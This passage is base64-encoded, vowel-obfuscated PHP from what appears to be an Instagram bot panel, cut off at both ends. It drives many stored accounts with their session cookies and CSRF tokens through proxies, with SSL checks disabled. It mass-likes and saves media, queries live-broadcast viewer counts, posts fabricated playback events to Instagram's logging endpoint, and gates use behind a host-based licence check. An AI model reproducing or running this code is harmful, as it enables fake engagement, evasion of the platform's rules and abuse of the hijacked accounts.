YwaWllLCIxdmdWNDV3UDVyYzVudCI6Ni4wLCJtMXhWNDV3UDVyYzVudCI6Ni4wLCJwayI6IicgLiAkQzIyazQ1SWQgLiAnIn19LA0KeyJuMW01IjoiMXBwX3N0MXQ1IiwidDRtNSI6IicgLiAkVDRtNUgxY2sgLiAnLjdldSIsIm0yZDNsNSI6InY0ZDUyX3Y0NXciLCI1eHRyMSI6eyJzdDF0NSI6ImIxY2tncjIzbmQiLCJwayI6IicgLiAkQzIyazQ1SWQgLiAnIn19LA0KeyJuMW01IjoidDRtNV9zcDVudF9iNHRfMXJyMXkiLCJ0NG01IjoiJyAuICRUNG01SDFjayAuICcuN2V1IiwiNXh0cjEiOnsidDJzXzRkIjoiaGJpOG1kIiwic3QxcnRfdDRtNSI6JyAuICRUNG01SDFjayAuICcsInQyc18xcnIxeSI6Ils2LCAwXSIsInQyc19sNW4iOjZlLCJ0MnNfczVxIjo2LCJ0MnNfYzNtIjppLCJwayI6IicgLiAkQzIyazQ1SWQgLiAnIn19LHsibjFtNSI6InY0ZDUyX3N0MXJ0NWRfcGwxeTRuZyIsInQ0bTUiOiInIC4gJFQ0bTVIMWNrIC4gJy43ODAiLCJtMmQzbDUiOiJ2NGQ1Ml92NDV3X3ByMmY0bDUiLCI1eHRyMSI6eyJ2NGQ1Ml90eXA1IjoiZjU1ZCIsIm1fcGsiOiInIC4gJE01ZDQxSWQgLiAnIiwiMV9wayI6IicgLiAkUjVzNG1VczVySWQgLiAnIiwibV90cyI6JyAuICRUNG01SDFjayAuICcsInRyMWNrNG5nX3QyazVuIjoiJyAuICR0cjFjazRuZ190Mms1biAuICciLCJmMmxsMndfc3QxdDNzIjoiZjJsbDJ3NG5nIiwibV80eCI6MCwicGwxeTRuZ18xM2Q0MiI6IjAiLCJyNTFzMm4iOiIxM3QycGwxeSIsInN0MXJ0X2Q1bDF5Ijp1aSwiYzFjaDVkIjpmMWxzNSwic3lzdDVtX3YybDNtNSI6IjYuMCIsInN0cjUxbTRuZyI6dHIzNSwicHI1ZjV0Y2hfczR6NSI6aTZhLCJ2NGQ1Ml93NGR0aCI6MCwidjRkNTJfaDU0Z2h0IjowLCI0c19kMXNoXzVsNGc0Ymw1Ijo2LCJwbDF5YjFja19mMnJtMXQiOiJkMXNoIiwiMV80IjoiMnJnMW40YyIsInBrIjoiJyAuICRDMjJrNDVJZCAuICciLCJyNWw1MXM1X2NoMW5uNWwiOiJiNXQxIiwicjFkNDJfdHlwNSI6Inc0ZjQtbjJuNSJ9fV0sImwyZ190eXA1IjoiY2w0NW50XzV2NW50In0nOw0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgJHAyc3R2NXI0WyJwMnN0Il0gPSAkUjNzTTFzMWpZMXAxbmwxcjsNCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICB9IDVsczUgew0KICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiZjE0bCI7DQogICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJzW10gPSAkdHI0NWRVczVyOw0KICAgICAgICAgICAgICAgICRwMnN0bDFyW10gICAgPSAkcDJzdHY1cjQ7DQoNCiAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPmNsNTFyQzJtcGw1dDVkKCk7DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wcjNuNVA1bmQ0bmdSNXEzNXN0UTM1MzUoKTsNCiAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoJHRoNHMtPnM0bTNsdDFuNXAyc3RzNHo1KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+NXg1YzN0NSgpOw0KDQogICAgICAgICAgICBmMnI1MWNoKCRwMnN0bDFyIDFzICQzczVyKSB7DQoNCg0KICAgICAgICAgICAgICAgICRoNTFkNXJzID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgICJBY2M1cHQ6ICIsDQogICAgICAgICAgICAgICAgICAgICJYLUlHLUMybm41Y3Q0Mm4tVHlwNTogVzRGNCIsDQogICAgICAgICAgICAgICAgICAgICJYLUlHLUMxcDFiNGw0dDQ1czogb2UyRCIsDQogICAgICAgICAgICAgICAgICAgICJDMm50NW50LVR5cDU6IDFwcGw0YzF0NDJuL3gtd3d3LWYycm0tM3JsNW5jMmQ1ZDsgY2gxcnM1dD1VVEYtOCIsDQogICAgICAgICAgICAgICAgICAgICJBY2M1cHQtTDFuZzMxZzU6IHRyO3E9NiIsDQogICAgICAgICAgICAgICAgICAgICJDMm5uNWN0NDJuOiBrNTVwLTFsNHY1IiwNCiAgICAgICAgICAgICAgICAgICAgIlVzNXItQWc1bnQ6IEluc3QxZ3IxbSA5LjAuNiAoNFAxZGEsaTsgNFBoMm41IE9TIDhfbzsgdHJfVFI7IHRyOyBzYzFsNT0iIC4gcjFuZCgwLCA5KSAuICIuIiAuIHIxbmQoMCwgOSkgLiAiIiAuIHIxbmQoMCwgOSkgLiAiOyBnMW0zdD1uMnJtMWw7ICIgLiByMW5kKDAsIDkpIC4gIiIgLiByMW5kKDAsIDkpIC4gIiIgLiByMW5kKDAsIDkpIC4gIng5IiAuIHIxbmQoMCwgOSkgLiAiIiAuIHIxbmQoMCwgOSkgLiAiKSBBcHBsNVc1Yks0dC8iIC4gcjFuZCgwLCA5KSAuICIiIC4gcjFuZCgwLCA5KSAuICIiIC4gcjFuZCgwLCA5KSAuICIrIiwNCiAgICAgICAgICAgICAgICApOw0KDQogICAgICAgICAgICAgICAgJDJwdDQybnMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVkVSQk9TRSAgICAgICAgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgICAgICAgPT4gIiINCiAgICAgICAgICAgICAgICApOw0KDQogICAgICAgICAgICAgICAgJHAyc3QgPSAibTVzczFnNT0iIC4gJDNzNXJbJ3Ayc3QnXSAuICImZjJybTF0PWpzMm4iOw0KDQogICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzBdKSB7DQogICAgICAgICAgICAgICAgICAgICQycHQ0Mm5LNXkgICAgICAgICAgID0gVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZOw0KICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1swXTsNCiAgICAgICAgICAgICAgICAgICAgNGYoJDNzNXJBc25zWzZdKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuSzV5ICAgICAgICAgICA9IFcydzo6ZzV0KCIxeTFyL3ByMnh5U3QxdDNzIikgPT0gdSA/IENVUkxPUFRfSVBSRVNPTFZFIDogQ1VSTE9QVF9QUk9YWVVTRVJQV0Q7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1s2XTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cDJzdCgnaHR0cHM6Ly9ncjFwaC40bnN0MWdyMW0uYzJtL2wyZ2c0bmdfY2w0NW50XzV2NW50cycsICRwMnN0LCAkaDUxZDVycywgJDJwdDQybnMsICIiKTsNCg0KDQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgIC8vICR2NXI0bDVyID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0QzFsbGIxY2soZjNuY3Q0Mm4oUjVxMzVzdCAkcjVxMzVzdCwgUjJsbDRuZ0MzcmwgJHIybGw0bmdDM3JsKSAzczUgKCYkdjVyNGw1cikgew0KICAgICAgICAgICAgICAgIC8vJHY1cjQgPSAxcnIxeSgicjVzcDJuczUiID0+ICIiKTsNCiAgICAgICAgICAgICAgICAvLyAkdjVyNFsncjVzcDJuczUnXSA9ICRyNXEzNXN0LT5nNXRSNXNwMm5zNVQ1eHQoKTsNCg0KDQogICAgICAgICAgICAgICAgLy8kdjVyNGw1cltdID0gJHY1cjQ7DQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5jbDUxckMybXBsNXQ1ZCgpOw0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+cHIzbjVQNW5kNG5nUjVxMzVzdFEzNTM1KCk7DQogICAgICAgICAgICB9KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoJHRoNHMtPnM0bTNsdDFuNXAyc3RzNHo1KTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+NXg1YzN0NSgpOw0KDQogICAgICAgICAgICByNXQzcm4gMXJyMXkoDQogICAgICAgICAgICAgICAgInQydDFsUzNjYzVzc0MyM250IiA9PiA0bnR2MWwoJHQydDFsUzNjYzVzc0MyM250KSAvIGEsDQogICAgICAgICAgICAgICAgIjNzNXJzIiAgICAgICAgICAgICA9PiAkdHI0NWRVczVycw0KICAgICAgICAgICAgKTsNCiAgICAgICAgfQ0KDQoNCiAgICAgICAgcDNibDRjIGYzbmN0NDJuIHBsMXlMNHY1KCRicjIxZGMxc3RJRCkgew0KDQoJCQkkczR0NSA9IHRyNG0oc3RyX3I1cGwxYzUoInd3dy4iLCAiIiwgJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSk7DQogICAgICAgICAgICA0ZihXMnc6Omc1dCgicHIyajVjdC8xcDRUMms1biIpICE9IG1kaShzaDE2KGIxczVldV81bmMyZDUoY3J5cHQoJHM0dDUsICd6N3E3Nzc3Nzc3MTcxNzcxJykpKSkpIHsNCiAgICAgICAgICAgICAgICByNXQzcm4gMXJyMXkoImQxdDEiID0+ICJIMXQxIik7DQogICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCA9IDA7DQogICAgICAgICAgICAkdHI0NWRVczVycyAgICAgICAgPSAxcnIxeSgpOw0KICAgICAgICAgICAgJHIybGw0bmdDM3JsICAgICAgID0gbjV3IFIybGw0bmdDM3JsKCk7DQogICAgICAgICAgICBmMnI1MWNoKCR0aDRzLT4zczVycyAxcyAkM3M1cikgew0KDQogICAgICAgICAgICAgICAgJDJiakluc3QxZ3IxbSA9ICQzczVyWyIyYmo1Y3QiXTsNCiAgICAgICAgICAgICAgICAkMmJqRDF0MSAgICAgID0gJDJiakluc3QxZ3IxbS0+ZzV0RDF0MSgpOw0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBbDQogICAgICAgICAgICAgICAgICAgICdfMzM0ZCcgICAgICA9PiAkMmJqRDF0MVsiMzM0ZCJdLA0KICAgICAgICAgICAgICAgICAgICAnXzM0ZCcgICAgICAgPT4gJDJiakQxdDFbIjNzNXJuMW01XzRkIl0sDQogICAgICAgICAgICAgICAgICAgICdfY3NyZnQyazVuJyA9PiAkMmJqRDF0MVsidDJrNW4iXSwNCiAgICAgICAgICAgICAgICAgICAgJ3IxZDQyX3R5cDUnID0+ICd3NGY0LW4ybjUnDQogICAgICAgICAgICAgICAgXTsNCiAgICAgICAgICAgICAgICAkcjVxMzVzdFAyc3RzID0gUzRnbjF0M3I1czo6czRnbkQxdDEoJHI1cTM1c3RQMnN0cyk7DQogICAgICAgICAgICAgICAgJHAyc3REMXQxICAgICA9IGh0dHBfYjM0bGRfcTM1cnkoVXQ0bHM6OnI1MnJkNXJCeUgxc2hDMmQ1KCRyNXEzNXN0UDJzdHMpKTsNCg0KDQogICAgICAgICAgICAgICAgJGg1MWQ1cnMgPSBbDQogICAgICAgICAgICAgICAgICAgICdDMm5uNWN0NDJuOiBjbDJzNScsDQogICAgICAgICAgICAgICAgICAgICdBY2M1cHQ6ICovKicsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUMxcDFiNGw0dDQ1czogJyAuIEMybnN0MW50czo6WF9JR19DMXAxYjRsNHQ0NXMsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tVHlwNTogJyAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgICAgICdYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICcgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gJ2ticHMnLA0KICAgICAgICAgICAgICAgICAgICAnWC1GQi1IVFRQLUVuZzRuNTogJyAuIEMybnN0MW50czo6WF9GQl9IVFRQX0VuZzRuNSwNCiAgICAgICAgICAgICAgICAgICAgJ0MybnQ1bnQtVHlwNTogJyAuIEMybnN0MW50czo6Q09OVEVOVF9UWVBFLA0KICAgICAgICAgICAgICAgICAgICAnQWNjNXB0LUwxbmczMWc1OiAnIC4gQzJuc3QxbnRzOjpBQ0NFUFRfTEFOR1VBR0UNCiAgICAgICAgICAgICAgICBdOw0KDQogICAgICAgICAgICAgICAgJDJwdDQybnMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9VU0VSQUdFTlQgICAgICA9PiAkMmJqRDF0MVsiM3M1cl8xZzVudCJdLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX1JFVFVSTlRSQU5TRkVSID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRk9MTE9XTE9DQVRJT04gPT4gVFJVRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9WRVJCT1NFICAgICAgICA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZUEVFUiA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9TU0xfVkVSSUZZSE9TVCA9PiBGQUxTRSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9FTkNPRElORyAgICAgICA9PiAnJywNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9DT09LSUUgICAgICAgICA9PiAkMmJqRDF0MVsiYzIyazQ1Il0NCiAgICAgICAgICAgICAgICApOw0KDQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wMnN0KEMybnN0MW50czo6QVBJX1VSTCAuICJsNHY1LyIgLiAkYnIyMWRjMXN0SUQgLiAiL2g1MXJ0YjUxdF8xbmRfZzV0X3Y0NXc1cl9jMjNudC8iLCAkcDJzdEQxdDEsICRoNTFkNXJzLCAkMnB0NDJucywgJDNzNXJbImQxdDEiXSk7DQoNCiAgICAgICAgICAgIH0NCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0UzRtM2x0MW41MjNzTDRtNHQoaTAwKTsNCg0KICAgICAgICAgICAgJHIybGw0bmdDM3JsLT41eDVjM3Q1KCk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAidDJ0MWxTM2NjNXNzQzIzbnQiID0+ICR0MnQxbFMzY2M1c3NDMjNudCwNCiAgICAgICAgICAgICAgICAiM3M1cnMiICAgICAgICAgICAgID0+ICR0cjQ1ZFVzNXJzDQogICAgICAgICAgICApOw0KICAgICAgICB9DQoNCg0KICAgICAgICBwM2JsNGMgZjNuY3Q0Mm4gczF2NSgkbTVkNDFJRCwgJG01ZDQxQzJkNSkgew0KDQoJCQkkczR0NSA9IHRyNG0oc3RyX3I1cGwxYzUoInd3dy4iLCAiIiwgJF9TRVJWRVJbIkhUVFBfSE9TVCJdKSk7DQogICAgICAgICAgICA0ZihXMnc6Omc1dCgicHIyajVjdC8xcDRUMms1biIpICE9IG1kaShzaDE2KGIxczVldV81bmMyZDUoY3J5cHQoJHM0dDUsICdobHEzempoMWgxaicpKSkpKSB7DQogICAgICAgICAgICAgICAgcjV0M3JuIDFycjF5KCJkMXQxIiA9PiAiSDF0MSIpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAkdDJ0MWxTM2NjNXNzQzIzbnQgPSAwOw0KICAgICAgICAgICAgJHRyNDVkVXM1cnMgICAgICAgID0gMXJyMXkoKTsNCiAgICAgICAgICAgICRyMmxsNG5nQzNybCAgICAgICA9IG41dyBSMmxsNG5nQzNybCgpOw0KICAgICAgICAgICAgJDFyck01ZDQxSUQgICAgICAgID0gNXhwbDJkNSgiXyIsICRtNWQ0MUlEKTsNCiAgICAgICAgICAgICRtNWQ0MUlEQjVmMnI1ciAgICA9ICQxcnJNNWQ0MUlEWzBdOw0KICAgICAgICAgICAgZjJyNTFjaCgkdGg0cy0+M3M1cnMgMXMgJDNzNXIpIHsNCg0KICAgICAgICAgICAgICAgICQyYmpJbnN0MWdyMW0gPSAkM3M1clsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgJDJiakQxdDEgICAgICA9ICQyYmpJbnN0MWdyMW0tPmc1dEQxdDEoKTsNCiAgICAgICAgICAgICAgICAkM3M1ckFzbnMgICAgID0gVXQ0bHM6Omc1bjVyMXQ1QXNucygkMmJqRDF0MVtJTlNUQVdFQl9BU05TX0tFWV0pOw0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgIl8zMzRkIiAgICAgID0+ICQyYmpEMXQxWyIzMzRkIl0sDQogICAgICAgICAgICAgICAgICAgICJfMzRkIiAgICAgICA9PiAkMmJqRDF0MVsiM3M1cm4xbTVfNGQiXSwNCiAgICAgICAgICAgICAgICAgICAgIl9jc3JmdDJrNW4iID0+ICQyYmpEMXQxWyJ0Mms1biJdLA0KICAgICAgICAgICAgICAgICAgICAibTVkNDFfNGQiICAgPT4gJG01ZDQxSUQNCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICRyNXEzNXN0UDJzdHMgPSBTNGduMXQzcjVzOjpzNGduRDF0MSgkcjVxMzVzdFAyc3RzKTsNCiAgICAgICAgICAgICAgICAkcDJzdEQxdDEgICAgID0gaHR0cF9iMzRsZF9xMzVyeShVdDRsczo6cjUycmQ1ckJ5SDFzaEMyZDUoJHI1cTM1c3RQMnN0cykpOw0KICAgICAgICAgICAgICAgICRoNTFkNXJzICAgICAgPSAxcnIxeSgNCiAgICAgICAgICAgICAgICAgICAgIkMybm41Y3Q0Mm46IGNsMnM1IiwNCiAgICAgICAgICAgICAgICAgICAgIkFjYzVwdDogKi8qIiwNCiAgICAgICAgICAgICAgICAgICAgIlgtSUctQzFwMWI0bDR0NDVzOiAiIC4gQzJuc3QxbnRzOjpYX0lHX0MxcDFiNGw0dDQ1cywNCiAgICAgICAgICAgICAgICAgICAgIlgtSUctQXBwLUlEOiAiIC4gQzJuc3QxbnRzOjpGQUNFQk9PS19BTkFMWVRJQ1NfQVBQTElDQVRJT05fSUQsDQogICAgICAgICAgICAgICAgICAgICJYLUlHLUMybm41Y3Q0Mm4tVHlwNTogIiAuIEMybnN0MW50czo6WF9JR19DMm5uNWN0NDJuX1R5cDUsDQogICAgICAgICAgICAgICAgICAgICJYLUlHLUMybm41Y3Q0Mm4tU3A1NWQ6ICIgLiBtdF9yMW5kKDYwMDAsIG83MDApIC4gImticHMiLA0KICAgICAgICAgICAgICAgICAgICAiWC1JRy1CMW5kdzRkdGgtU3A1NWQtS0JQUzogLTYuMDAwIiwNCiAgICAgICAgICAgICAgICAgICAgIlgtSUctQjFuZHc0ZHRoLVQydDFsQnl0NXMtQjogMCIsDQogICAgICAgICAgICAgICAgICAgICJYLUlHLUIxbmR3NGR0aC1UMnQxbFQ0bTUtTVM6IDAiLA0KICAgICAgICAgICAgICAgICAgICAiWC1GQi1IVFRQLUVuZzRuNTogIiAuIEMybnN0MW50czo6WF9GQl9IVFRQX0VuZzRuNSwNCiAgICAgICAgICAgICAgICAgICAgIkFjYzVwdC1MMW5nMzFnNTogIiAuIEMybnN0MW50czo6QUNDRVBUX0xBTkdVQUdFDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICAkMnB0NDJucyAgICAgID0gMXJyMXkoDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVVNFUkFHRU5UICAgICAgPT4gJDJiakQxdDFbIjNzNXJfMWc1bnQiXSwNCiAgICAgICAgICAgICAgICAgICAgQ1VSTE9QVF9SRVRVUk5UUkFOU0ZFUiA9PiBUUlVFLA0KICAgICAgICAgICAgICAgICAgICBDVVJMT1BUX0ZPTExPV0xPQ0FUSU9OID0+IFRSVUUsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfVkVSQk9TRSAgICAgICAgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWVBFRVIgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfU1NMX1ZFUklGWUhPU1QgPT4gRkFMU0UsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfRU5DT0RJTkcgICAgICAgPT4gIiIsDQogICAgICAgICAgICAgICAgICAgIENVUkxPUFRfQ09PS0lFICAgICAgICAgPT4gJDJiakQxdDFbImMyMms0NSJdDQogICAgICAgICAgICAgICAgKTsNCiAgICAgICAgICAgICAgICA0ZigkM3M1ckFzbnNbMF0pIHsNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSAoVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JTlRFUkZBQ0UgOiBDVVJMT1BUX1BST1hZKTsNCiAgICAgICAgICAgICAgICAgICAgJDJwdDQybnNbJDJwdDQybks1eV0gPSAkM3M1ckFzbnNbMF07DQogICAgICAgICAgICAgICAgICAgIDRmKCQzczVyQXNuc1s2XSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJDJwdDQybks1eSAgICAgICAgICAgPSAoVzJ3OjpnNXQoIjF5MXIvcHIyeHlTdDF0M3MiKSA9PSB1ID8gQ1VSTE9QVF9JUFJFU09MVkUgOiBDVVJMT1BUX1BST1hZVVNFUlBXRCk7DQogICAgICAgICAgICAgICAgICAgICAgICAkMnB0NDJuc1skMnB0NDJuSzV5XSA9ICQzczVyQXNuc1s2XTsNCiAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5wMnN0KEMybnN0MW50czo6QVBJX1VSTCAuICJtNWQ0MS8iIC4gJG01ZDQxSUQgLiAiL3MxdjUvIiwgJHAyc3REMXQxLCAkaDUxZDVycywgJDJwdDQybnMsICQzczVyWyJkMXQxIl0pOw0KICAgICAgICAgICAgfQ0KDQoNCiAgICAgICAgICAgICRyMmxsNG5nQzNybC0+czV0QzFsbGIxY2soZjNuY3Q0Mm4oUjVxMzVzdCAkcjVxMzVzdCwgUjJsbDRuZ0MzcmwgJHIybGw0bmdDM3JsKSAzczUgKCYkdHI0NWRVczVycywgJiR0MnQxbFMzY2M1c3NDMjNudCwgJiRsMmdEMXQxKSB7DQogICAgICAgICAgICAgICAgJHRyNDVkVXM1ciA9IDFycjF5KA0KICAgICAgICAgICAgICAgICAgICAiM3M1cklEIiAgID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyIzeTVJRCJdLA0KICAgICAgICAgICAgICAgICAgICAiNG5zdDFJRCIgID0+ICRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0bnN0MUlEIl0sDQogICAgICAgICAgICAgICAgICAgICIzczVyTjRjayIgPT4gJHI1cTM1c3QtPjRkNW50NGY0NXJQMXIxbXNbImszbGwxbjRjNEFkNCJdLA0KICAgICAgICAgICAgICAgICAgICAic3QxdDNzIiAgID0+ICJuMSINCiAgICAgICAgICAgICAgICApOw0KICAgICAgICAgICAgICAgICQ0c0VycjJyNWQgPSAkcjVxMzVzdC0+ZzV0UjVzcDJuczVFcnIycigpOw0KICAgICAgICAgICAgICAgIDRmKDVtcHR5KCQ0c0VycjJyNWQpKSB7DQogICAgICAgICAgICAgICAgICAgICRyNXNwMm5zNUluZjIgPSAkcjVxMzVzdC0+ZzV0UjVzcDJuczVJbmYyKCk7DQogICAgICAgICAgICAgICAgICAgIDRmKCRyNXNwMm5zNUluZjJbImh0dHBfYzJkNSJdID09IGEwMCkgew0KICAgICAgICAgICAgICAgICAgICAgICAgJGQybjVuUzJuM2MgPSBqczJuX2Q1YzJkNSgkcjVxMzVzdC0+ZzV0UjVzcDJuczVUNXh0KCksIFRSVUUpOw0KICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGQybjVuUzJuM2MpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICA0ZihzdHJwMnMoJHI1cTM1c3QtPmc1dFI1c3AybnM1SDUxZDVycygpLCAiUzV0LUMyMms0NSIpICE9PSBGQUxTRSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkMmJqID0gJHRoNHMtPjNzNXJzWyRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0bmQ1eCJdXVsiMmJqNWN0Il07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICQyYmotPjJyZzFuNHo1QzIyazQ1cygkcjVxMzVzdC0+ZzV0UjVzcDJuczVINTFkNXJzKCkpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgIDRmKCRyNXEzNXN0LT40ZDVudDRmNDVyUDFyMW1zWyI0c1c1YkMyMms0NSJdID09IDYpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGQybjVuUzJuM2NbInN0MXQzcyJdID09ICIyayIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiczNjYzVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgNGYoJGQybjVuUzJuM2NbInN0MXQzcyJdID09ICIyayIpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICR0MnQxbFMzY2M1c3NDMjNudCsrOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJHRyNDVkVXM1clsic3QxdDNzIl0gPSAiczNjYzVzcyI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0gNWxzNSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAkdHI0NWRVczVyWyJzdDF0M3MiXSA9ICJmMTRsIjsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbIjRuZjIiXSAgPSAkZDJuNW5TMm4zYzsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInQydDFsIl0gPSAkdDJ0MWxTM2NjNXNzQzIzbnQ7DQoNCiAgICAgICAgICAgICAgICAgICAgfSA1bHM1IHsNCiAgICAgICAgICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJbInN0MXQzcyJdID0gImYxNGwiOw0KICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICB9DQoNCg0KICAgICAgICAgICAgICAgICR0cjQ1ZFVzNXJzW10gPSAkdHI0NWRVczVyOw0KICAgICAgICAgICAgICAgICRyMmxsNG5nQzNybC0+Y2w1MXJDMm1wbDV0NWQoKTsNCiAgICAgICAgICAgICAgICAkcjJsbDRuZ0MzcmwtPnByM241UDVuZDRuZ1I1cTM1c3RRMzUzNSgpOw0KICAgICAgICAgICAgfQ0KDQogICAgICAgICAgICApOw0KICAgICAgICAgICAgJHIybGw0bmdDM3JsLT5zNXRTNG0zbHQxbjUyM3NMNG00dCgkdGg0cy0+czRtM2x0MW41cDJzdHM0ejUpOw0KICAgICAgICAgICAgJHIybGw0bmdDM3JsLT41eDVjM3Q1KCk7DQoNCiAgICAgICAgICAgIHI1dDNybiAxcnIxeSgNCiAgICAgICAgICAgICAgICAidDJ0MWxTM2NjNXNzQzIzbnQiID0+ICR0MnQxbFMzY2M1c3NDMjNudCwNCiAgICAgICAgICAgICAgICAiM3M1cnMiICAgICAgICAgICAgID0+IC